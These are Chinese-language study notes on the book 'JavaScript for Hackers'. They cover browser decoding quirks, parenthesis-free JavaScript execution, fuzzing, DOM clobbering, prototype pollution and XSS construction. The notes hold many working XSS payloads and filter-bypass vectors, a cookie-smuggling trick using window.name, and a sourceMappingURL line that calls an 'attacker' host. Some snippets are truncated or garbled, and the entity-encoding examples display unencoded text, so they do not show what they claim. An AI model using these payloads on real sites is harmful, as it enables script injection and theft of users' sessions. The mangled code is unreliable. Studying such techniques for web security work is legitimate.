书名:JavaScriptForHackers
作者:Gareth Heyes
基本概念
自解码机制
一个网页主要由三部分组成:HTML+CSS+JS
浏览器在解析过程中,主要有三个过程:HTML解析、CSS解析、JS解析和URL解析,每个解析器负责HTML文档中各自对应部分的解析工作。
1. HTML/SVG/XHTML 解析。解析这三种文件会产生一个DOM Tree
2. CSS 解析,解析CSS会产生CSS规则树
3. Javascript 解析
4. URL解析
一个简单的XSS代码:<img/src=1 onerror=alert(1)>
,onerror
后面的语句,会被浏览器识别为JS代码,因此会执行自动解码。我们可以使用10进制、16进制对alert(1)
进行编码,依然可以执行弹窗。
10进制编码:
1 | <img/src="1" onerror=alert(1)> |
16进制编码:
1 | <img/src="1" onerror=alert(1)> |
10进制和16进制混合,也可以自动解码并执行:
1 | <img/src="1" onerror=alert(1)> |
除了实体编码的形式,浏览器还支持通过反斜杠的形式解码16进制、8进制、Unicode编码:
16进制解码
16进制的形式为\x
,单引号、双引号、反引号都会进行自解码
1 | '\x61'//a |
如果创建一个a函数,然后使用16进制的方式调用,会成功吗?
1 | function a(){} |
答案是不可调用,js不支持通过16进制的方式调用函数,此外x
必须为小写,\X61
是不会解码的,会被视为字符串。
Unicode解码
浏览器支持的Unicode的形式有2种,分别为\u
和\u{}
,先介绍第一种形式\u
。
1 | '\u0061'//a |
注意,\u
形式的编码方式,必须指定为4位字符,\u61
会报错。
同样,创建一个a函数,Unicode的形式可以调用成功吗?
1 | function a(){} |
答案是可以调用!js是可以支持Unicode形式的函数调用。
第二种形式\u{}
,这种形式的Unicode编码是将16进制写入大括号内,并且支持任意长度,js会自动填充和排除多余的0.
1 | '\u{61}'//a |
同样,是否支持函数调用呢?也是可以的
1 | function a(){} |
其他:\u{}
还可以用来指定变量:
1 | \u{3131a}=123 //指定unicode编码的3131a变量为123 |
8进制解码
8进制是直接通过反斜杠来指定,如果数字超过8进制的范围,则直接返回10进制。并且不支持反引号形式的自解码。
1 | '\141'//a |
Eval函数
上面演示了浏览器对不同编码的自解码机制,是否可以与eval
或其他类似的函数(setTimeout)一起使用?
eval
函数的主要作用如下:
- eval() 函数计算 JavaScript 字符串,并把它作为脚本代码来执行。
- 如果参数是一个表达式,eval() 函数将执行表达式。如果参数是Javascript语句,eval()将执行 Javascript 语句。
eval和16进制
1 | eval('\x61=123')//a=123 |
eval和8进制
1 | eval('\141=123')//a=123 |
eval和Unicode
Uniocde的双重编码同样支持。
1 | eval('\u0061=123')//a=123 |
eval和混合编码
16进制和8进制和Unicode混合
1 | eval('\\u\x30061=123')//a=123,'\x30'=>0 |
字符串
js中字符串有三种形式,单引号、双引号、反引号。
特殊字符
下面是一些被用作特定用途的转义字符:
1 | '\b'//backspace |
对于不是特殊用途的字符,会通过反斜杠直接输出:
1 | console.log('\H\E\L\L\O')//HELLO |
通过反斜杠,可以将一行字符串变为多行:
1 | 'hello \ |
这种方法同样也适用于对象属性:
1 | let obj = { |
模板字符串
在反引号中,可以内置表达式,形式为${}
1 | `${7*7}`//49 |
此外,js还支持嵌套多个表达式,仍然可以解析执行:
1 | `${`${`${`${7*7}`}`}`}`//49 |
模板字符串还有一个重要的特性,可以用来进行函数调用,如:
1 | alert`123` |
除了js内置的函数外,也可以调用我们自定义的函数,假设函数x返回自身,则可以用反引号进行无限次的调用。
1 | function x(){return x} |
call和apply函数
在JavaScript中,每个函数对象都带有call()和apply()方法,即Function.prototype.call()和Function.prototype.apply(),这两个方法都是挂载在原型上的,通过调用这两个方法,我们可以改变this指向,从而让我们的this指向不在是谁调用了函数就指向谁。
- call() 方法使用一个指定的this值和单独给出的一个或多个参数来调用一个函数。
- apply()方法调用一个具有给定this值的函数,以及以一个数组(或类数组对象)的形式提供的参数。
call方法例子:
1 | function x() { |
从上面的输出结果来看,传入的foo对象,会更改的x函数内的this指向。另外,call方法支持多个参数的传入,当第一个参数是null时,this的指向为不会改变。
1 | function x() { |
1 | function x() { |
如果需要将this指针变为null,可以开启严格模式use strict
1 | function x() { |
apply方法例子:
apply方法与call方法不同点在于,它支持数组方式的传参:
1 | function x() { |
无括号执行JavaScript
使用valueOf
原始的valueOf()
方法会返回 this 值本身,如果尚未转换为对象,则转换为对象。因此它的返回值将从不会被任何原始值转换算法使用。
1 | const obj = { foo: 1 }; |
通过重写valueOf
方法,可以自定义转换的值:
1 | let obj = {valueOf(){return 1}} |
是否可以将返回值修改为alert
,来执行弹窗呢?
1 | let obj = {valueOf:alert} |
答案是不可以,因为在调用obj+1
的过程中,会默认执行valueOf
方法进行转换,相当于调用alert
方法。但是alert
方法调用的this对象需要是一个window
对象,而当前调用的this对象为obj
,因此会显示非法调用。
是否,可以直接覆写window对象的valueOf
方法,执行alert
调用呢?
1 | window.valueOf=alert |
因为alert
的this指向为window
,因此可以调用成功。此外,无需显式的指定window
对象,默认的valueOf
就是指向window
的:
1 | valueOf=alert |
使用throw
前面,我们可以通过修改valueOf
,来执行弹窗,但是无法传入参数,能否无括号执行js,并且传入参数?
常见的throw用法,用来抛出异常:
1 | throw new Error('test'); // Uncaught Error: test |
通过上面的输出结果,可以看出,throw语句可以接受一个表达式或字符串,并把错误内容交给错误处理程序。
是否可以通过自定义错误程序处理程序,来达到传递参数的目的?
实际并没有执行弹窗,但书上说执行了?
1 | onerror=alert; |
逗号处理
在js中,逗号表达式会从左到右处理表达式,并放回最后一个值。
1 | let foo = (alert(), 10) //alert弹窗 |
借助这一个特性,可以通过throw来执行弹窗:
本地测试并没有执行弹窗,但书上说执行了
1 | throw onerror=alert,1337 |
使用模板字符串
滥用alert函数
在基本概念中提到,使用反引号可以进行函数调用,并且支持嵌套解析:
1 | alert`123` |
如果在传参中使用表达式,会用逗号来代替,无论${}
中的内容是什么,如下所示:
1 | alert`foo${1}bar` //foo,bar |
除了alert
,是否可以使用eval
呢?
1 | eval`alert\x281337\x29` //alert不会被调用 |
是否可以使用setTimeout
呢?
1 | setTimeout`alert\x281337\x29` //alert被调用 |
为了搞清楚传入alert
函数中的参数,我们可以自定义一个函数x,将参数打印出来:
1 | function x() { |
从输出结果可以看出,对于含有表达式的变量,会首先传入一个数组。这也就说明了,alert
中嵌入表达式,会打印逗号:
1 | alert`foo${1}bar` => alert(['foo', 'bar'], 1) |
滥用Function函数
Function
是内置的一个构造函数,用于创建函数对象,它接受多个参数,最后一个参数会被视为方法体中执行的内容:
1 | const add = new Function('a', 'b', 'return a + b;'); |
因此可以使用模板字符串来传入参数,并执行alert
:
1 | Function`x${'alert\x281337\x29'}` //不会执行alert |
运行上面的代码,发现不行弹窗,因为生成的函数没有进行调用,可以做如下改动:
1 | Function`x${'alert\x281337\x29'} |
=>
Function([‘x’, ‘’], ‘alert(1337)’)()1
2
3
4
5
6
7
8
**滥用setTimeout函数**
`setTimeout`函数,他接受多个参数,第一个为调用函数,第二个为延时,后面为可选参数:
```javascript
// setTimeout(callback, delay, arg1, arg2, ...)
setTimeout(alert, 1000, 1, 2, 3)
接下来尝试使用setTimeout
函数和模板字符串组合,来执行无括号的JavaScript,根据上面对模板字符串的理解,执行模板字符串过程中,第一个变量会是一个数组,接下来才是模板字符串的内容:
1 | function x() { |
因此,下面的方式都不会执行弹窗,因为传入的参数为一个数组,而不是alert
函数:
1 | setTimeout`${alert}${0}${1337}` // Uncaught SyntaxError: Unexpected token ',' |
是否可以使用上面提到的call
方法,将第一个参数作为this的指向呢?
1 | setTimeout.call`${alert}${0}${1337}` // Uncaught TypeError: Illegal invocation |
答案是不可以,因为当this的指向为window
时,才可以弹窗
如果不考虑表达式,只传入模板字符串,是可以执行弹窗的:
1 | setTimeout`alert\x281337\x29` |
滥用replace函数
replace
是字符串对象的一个内置方法,用于替换字符串中的文本。
1 | // string.replace(searchValue, replaceValue) |
可以将替代的变量设置为alert
,replace
会将匹配到字符串传入alert
函数中,从而执行弹窗:
1 | 'a'.replace(/./, alert) //Call Success! |
因为本小节目标是在无括号的情况下执行,考虑使用模板字符串:
1 | 'a,'.replace`a${alert}` //执行弹窗:a, |
如何把逗号去掉,我们可以使用call方法:
todo: 这里修改了this的指向,为什么还能弹窗?
1 | 'a'.replace.call`1${/./}${alert}` //执行弹窗:1 |
滥用Reflect函数
Reflect 是一个内置的对象,提供了一组用于操作对象的方法。
Reflect.apply(target, thisArg, argumentsList)
:调用目标函数,并传入指定的this
值和参数列表。Reflect.set(target, propertyKey, value[, receiver])
:设置目标对象的指定属性的值。
调用Reflect.apply.call
方法:
1 | Reflect.apply.call`${alert}${window}${[1337]}` // 弹窗1337 |
调用Reflect.set.call
方法:
1 | Reflect.set.call`${location}${'href'}${'javascript:alert(1337)'}` // 弹窗1337 |
使用Has instance symbol
hashInstance
方法是用于检查一个对象是否属于某个特定的类(构造函数)或其原型链中的某个类。
1 | let obj = {} |
在执行instanceof
方法过程中,会涉及到Symbol.hasInstance
,它是一个内置的符号(Symbol),它是用于自定义对象的 instanceof 运算符行为的属性。
1 | 'alert\x281337\x29'instanceof{[Symbol['hasInstance']]:eval} // 弹窗1337 |
这段代码的意思是通过修改hasInstance
的行为,将'alert\x281337\x29'
传递给eval
函数,从而导致弹窗。
其他变种:
1 | 'alert\x281337\x29'instanceof{[Symbol.hasInstance]:eval} // 弹窗1337 |
Fuzzing
当浏览器不遵循规范是,可以通过fuzzing技术来发现错误,并导致绕过某些限制。
Fuzzing Javascript Urls
通过javascript
伪协议,可以执行弹窗。接下来通过fuzzing技术,来探索是否有不遵循规范的解析:
1 | log = [] |
在上面的代码中,在javascript
后面添加其他字符,仍可以被识别为javascript
协议。
接下来修改代码,在前面进行fuzz:
1 | log = [] |
可以看到,在javascript
前面有更多可利用的字符。为了进一步验证,我们通过dom来生成一下:
1 | let anchor = document.createElement('a') |
点击后发现是可以进行弹窗的。
需要注意的一点:通过dom生成的页面元素与通过HTML生成的页面元素,可能会有不同的预期,�
就是一个例子:
1 | <a href="javascript:alert(1337)">Test</a> <!-- 可以弹窗 --> |
对于需要点击的测试,可以使用一些自动化测试工具,如Puppeteer
Fuzzing HTTP URLs
通过模糊伪协议的方式,也可以对url的解析进行fuzz,测试代码如下:
1 | log = [] |
对协议进行模糊,可以使用双斜杠引用外部URL。它们继承页面的当前协议,例如,如果网站使用https://
协议相关URL,则将使用该协议:
1 | a = document.createElement('a') |
Fuzzing HTML
在HTML中,注释的格式为<!-- test -->
,正常情况下<!-- -->
里面的内容是可以随意填充,都会被识别为注释。是否存在特殊的情况,导致注释的内容逃逸呢,通过编写如下代码进行测试:
1 | log = [] |
通输出结果看,62可以提前闭合注释。62转换的字符为>
。
Fuzzing known behavious
构造一个函数x,正常的调用方式为x()
,接下来通过fuzz技术,来探测是否有其他的调用方式:
1 | function x() { |
DOM Hacker
获取window对象
window对象是JavaScript中的全局对象,它代表浏览器窗口或标签页,通过window对象,可以执行alert
、eval
等函数,用来执行任意JavaScript,对于沙盒环境,获取window对象,意味着进行了逃逸。
通过document.defaultView
属性,它返回与当前文档关联的窗口对象。通常情况下,这个窗口对象就是 window 对象,因为 window 对象是浏览器窗口的全局对象:
1 | document.defaultView.alert(1) //Call Success! |
通过元素的ownerDocument
属性,可用于访问 DOM 元素的所属文档对象:
1 | node = document.createElement('div') |
JavaScript在处理错误时,onerror
方法会接受一个Event
对象,其中包含了错误所需的信息,通过Event
对象,可以间接获取window
对象:
本地测试,event不存在path属性,因此不会弹窗
1 | <img src="" onerror="event.path.pop().alert(1337)"> |
本地测试,event存在composedPath()方法,该方法或返回一个数组,其中最后一个元素为window
1 | <img src="1" onerror="console.log(event.composedPath())"> <!-- [img, body, html, document, Window] --> |
其他变量:
1 | <svg><image href=1 onerror=evt.composedPath().pop().alert(1337)> |
此外,可以通过自定义prepareStackTrace
属性的方式,获取window对象。这个函数接收两个参数,错误对象和一个数组,数组中包含了表示堆栈帧的对象。
1 | Error.prepareStackTrace = function(error, callSites){ |
HTML事件范围
这里主要讨论元素级事件。如onerror
、onclick
等方法。这个方法都是存在于document
对象下面。
对于如下html代码,是可以进行弹窗的:
1 | <img/src/onerror=defaultView.alert(1)> |
通常,我们可以直接调用alert
方法,是因为window对象下面的方法为全局方法,不需要特别的指定window对象。而defaultView
方法,不是全局方法,为什么也可以呢?实际上,浏览器在处理html元素时,会执行类似如下方法,浏览器会自动寻找document
对象下的defaultView
方法:
1 | with(document){ |
因此,我们可以在html事件中,可以使用document
下的任何方法,如:
1 | <img/src/onerror=s=createElement('script');s.append('alert(1337)');appendChild(s)> |
注意:在正常的js代码中,无法直接执行appendChild
,需要指定一个节点。上面的例子中,则会默认加入到img
节点中。
DOM clobbering技术
DOM clobbering 是一种攻击技术,它利用 JavaScript 中的对象属性查找机制来修改或覆盖 DOM 中的原生对象和属性。
破坏DOM元素对象的属性
测试如下代码,url的值会是http:///example.com
,因为window中不存在变量currentUrl
。
1 | let url = window.currentUrl || 'http:///example.com'; |
但是再测试如下代码,可以发现dom中的存在属性currentUrl
1 | <form name='currentUrl'></form> |
利用这个特性,我们可以修改dom的属性,除了name变量,html中id也可以用来定位元素:
1 | <form id=x></form> |
从输出结果可以看到,全局变量x和y可以直接访问,但是通过id定义的属性,是不会修改dom。而name定义的属性,是可以修改dom的,通过name来修改dom的html标签有embed
、 form
、iframe
、image
、img
、object
.
当我们对x或者y进行输出是,实际调用了元素的toString
方法,但是如果存在href
属性,则会输出href
定义的值:
1 | <a href="test:aaaa" id=x></a> |
当存在相同的id的情况下,将会是一个数组:
1 | <a href="test:aaaa" id=x></a> |
对于嵌套的html元素,访问方式如下:
1 | <form id=x name=y> |
处理常见的标签,iframe
标签会存在一个例外,srcdoc
属性内的值也可以访问,注意style
标签的作用,否则foo.bar
会是undefined
:
1 | <iframe name=foo srcdoc="<a id=bar href='test:aaa'>"></iframe> |
破坏过滤器
首先自定义一个过滤代码,过去以on
开头的事件:
1 | <form id=x onclick=alert(1) onmousemove=alert(2)> |
在浏览器执行后,不会进行弹窗,因为dom中已经对on开头的事件进行了删除,但是通过在from表达下自定name=attributes
的属性,可以对过滤器进行破坏,如下所示,因为document.getElementById('x').attributes[i]
会获取到一个img
对象,不会进入for循环:
1 | <form id=x onclick=alert(1) onmousemove=alert(2)> |
除了破坏attributes
属性,tagName
、nodeName
都可以破坏。
Clobbering document.getElementById()
当页面中含有id相同的元素时,使用document.getElementById()
通常会获取第一个元素,但是html
和body
会改变这种顺序
正常情况:
1 | <div id="x"></div> |
使用body
:
1 | <div id="x"></div> |
利用这个特性,在某些情况下,可以绕过CSP的保护。如果页面存在html注入,注入的位置在所有标签之后,则可以破坏getElementById
,来使用自己的元素,需要根据实际情况来利用。
Clobbering document.querySelector()
除了getElementById()
,querySelector()
也有这个特性:
1 | <div class="x"></div> |
原型污染
相关文章:
1 | https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html |
测试如下代码,发现第二个执行成功。原因是__proto__
属性无法被直接赋值,只有当调用getter/setter
方法时,才可以更改__proto__
属性。
1 | ({__proto__:"foo"}).hasOwnProperty('__proto__') // false |
当我们对一个不存在的属性进行赋值时,是可以成功的,以下是几种赋值方法:
1 | let obj = {} |
通过原型污染,可以网络请求做出修改:
1 | Object.prototype.body='foo=bar' // 修改body |
可以通过修改Object.prototype.configurable=true;
和Object.prototype.writable=true;
,来实现对属性的重写。
XSS构造
通过闭合script
因为script
标签具有较高的优先级,使用</script>
提前关闭script,然后再注入xss代码。
1 | <script> |
当有2个注入点时:
1 | <script> |
使用svg标签
在svg标签内,使用实体编码的字符,也将会自动解码:
1 | <svg> |
当在火狐浏览器中,可以不用构造script闭合:
1 | <svg><scripthref=data:,alert(1)/> |
注入window
当页面通过iframe
加载一个页面,通过iframe
的name属性可以控制子页面的window.name
的值:
1 | <iframe src=//target name=alert(1)></iframe> |
走私cookie:
1 | <script>name=document.cookie</script> |
sourceMappingURL注释
sourceMappingURL
是一个特殊的注释,通常添加在JavaScript或CSS文件的末尾。它的主要作用是提供一个链接到外部源映射文件的路径。
在开发工具(如浏览器的开发者工具)中,当浏览器遇到sourceMappingURL
注释时,它会自动加载相应的源映射文件,并使用它来还原压缩后的文件的原始结构和源代码。
1 | //#sourceMappingURL=https://attacker? |
注意:浏览器的网络选项卡,不会显示该请求。需要进行带外测试。
新的重定向方式
1 | window.location.href = 'https://www.baidu.com' // 常见的方式 |
引入新行
当注入点在注释中时,并且通过eval
来执行,可以通过换行等操作,来绕过:
1 | eval('//\ralert(1337)');//carriagereturn |
利用空白符
前面fuzz那一章节,提到对函数x的调用:
1 | function x() { |
利用这一特性,可以尝试绕过waf:
1 | <img/src/onerror=alert(1)> |
动态导入
JavaScrip允许通过import
动态加载模块,也将会导致xss
1 | import('data:text/javascript,alert(1)') |
控制text/xml
如果响应类型为text/xml
,且内容可控,也可以造成xss:
1 | <xml> |
1 | <xml> |
svg文件上传
网站允许svg类型的文件上传,可以造成xss:
1 | <svg id='x' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' width='100' height='100'> |
HTML实体
10进制实体
1 | <!--'j'.codePointAt(0)--> |
16进制实体
16进制的例子中,第二个会失效。第二个中,a也是16进制范围内,会造成解码异常。
1 | <!--'j'.codePointAt(0).toString(16)--> |
HTML5实体
html5引入了一些新的实体,可以造成xss:
1 | <a href="javascript:alert(1337)">test</a> |
无括号xss:
1 | <a href="javascript:alert(1337)">test</a> |
其他实体:
1 | ()\[]{} |
HTML事件
onafterscriptexecute
事件仅限Firefox,他会在脚本执行后触发,并且可以使用任何标记:
1 | <xss onafterscriptexecute=alert(1)><script>1</script> |
ontoggle
事件,如果打开details
元素,则会触发执行:
1 | <details ontoggle=alert(1) open>test</details> |
onunhandledrejection
事件,这是一个相对模糊的事件,仅适用于Firefox。它需要一个没有捕获条款的承诺。要利用此漏洞攻击网站,您需要一个具有未经处理的拒绝的现有脚本。
1 | <body onunhandledrejection=alert(1)><script>fetch('//xyz')</script> |
onbegin
会在svg动画开始前加载:
1 | <svg><animate onbegin=alert(1) attributeName=x dur=1s> |
onpopstate
是一个事件处理函数,它用于处理浏览器的历史记录状态改变事件,如:
1 | <body onpopstate=alert(1)><script>location.hash=1</script> |
onfocus
属性可以通过#
触发,或者自动触发,可以是任何标签:
1 | <!--http://target.com#x--> |
其他:
Cross-Site Scripting (XSS) Cheat Sheet - 2023 Edition | Web Security Academy (portswigger.net)
Reference
《JavaScript For Hackers》- Gareth Heyes